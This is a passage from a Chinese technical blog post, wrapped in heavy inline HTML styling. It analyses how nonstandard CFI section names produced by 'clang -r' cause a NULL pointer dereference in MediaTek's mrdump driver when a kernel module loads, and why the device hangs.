0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">clang -r</span></code><span leaf=""> 将 LLVM bitcode 转换为 ELF 时，生成了一堆非标准的 section 名称：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">Section 名</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">内容</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">大小</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">空的</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.__cfi_check</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__cfi_check</span></code><p><span leaf=""> 函数</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x101c</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text..L.cfi.jumptable</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cleanup_module</span></code><p><span leaf=""> CFI 桩</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">8</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text..L.cfi.jumptable.1</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">init_module</span></code><p><span leaf=""> CFI 桩</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">8</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.init_module.cfi</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">实际 init 代码</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x28</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.cleanup_module.cfi</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">实际 cleanup 代码</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x10</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">……</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">……</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">……</span></code></td></tr></tbody></table><p data-line="1222" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">核心问题是：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="1210" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 段大小为 0，所有实际代码分散在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.*</span></code><span leaf=""> 子段中。</span></p></blockquote><p data-line="1226" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">MediaTek 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mrdump</span></code><span leaf=""> 驱动注册了模块状态通知回调。</span></p><p data-line="1228" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当模块变为：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1216" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">MODULE_STATE_LIVE</span></code></pre><p data-line="1234" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">时，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">blocking_notifier_call_chain()</span></code><span leaf=""> 会调用到：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1222" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">mrdump_module_callback()</span></code></pre><p data-line="1240" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后者再调用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1228" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">load_ko_addr_list()</span></code></pre><p data-line="1246" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个函数会遍历模块的 ELF section 表，遇到一个大小为 0 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 段，以及大量非标准的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.*</span></code><span leaf=""> 子段。</span></p><p data-line="1248" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其中一个查找操作返回 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NULL</span></code><span leaf=""> 后未做空检查，直接解引用访问结构体成员，也就是偏移 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x8</span></code><span leaf="">，导致空指针崩溃：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1236" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">NULL pointer dereference at virtual address 0000000000000008</span></code></pre><p data-line="1254" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为什么内核本身不受影响？</span></p><p data-line="1256" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核的模块加载器在处理 section 时，主要基于 ELF Flags 分类，而不是根据名称。</span></p><p data-line="1258" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">例如：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1246" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 部分简化逻辑</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (sh_flags &amp; SHF_EXECINSTR) {</span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 这个 section 是代码，放入 MOD_TEXT 区域</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="1267" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text.__cfi_check</span></code><span leaf=""> 虽然名字非标准，但因为其 Flags 包含：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1255" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">SHF_EXECINSTR</span></code></pre><p data-line="1273" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核仍能正确将其归入代码区域。在内存权限设置等环节，内核不依赖具体名称，所以兼容了这些非标准名字。但 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">mrdump</span></code><span leaf=""> 这样的第三方驱动就没有这么健壮，它很可能针对标准 section 名做了硬编码假设。</span></p><p data-line="1275" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为什么手机是“卡死”而非“重启”？</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">blocking_notifier_call_chain()</span></code><span leaf=""> 的实现是阻塞式的，且持有 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_mutex</span></code><span leaf="">。当回调中发生 Oops 时：</span></p><ol style="margin-top: 0px;margin-bottom: 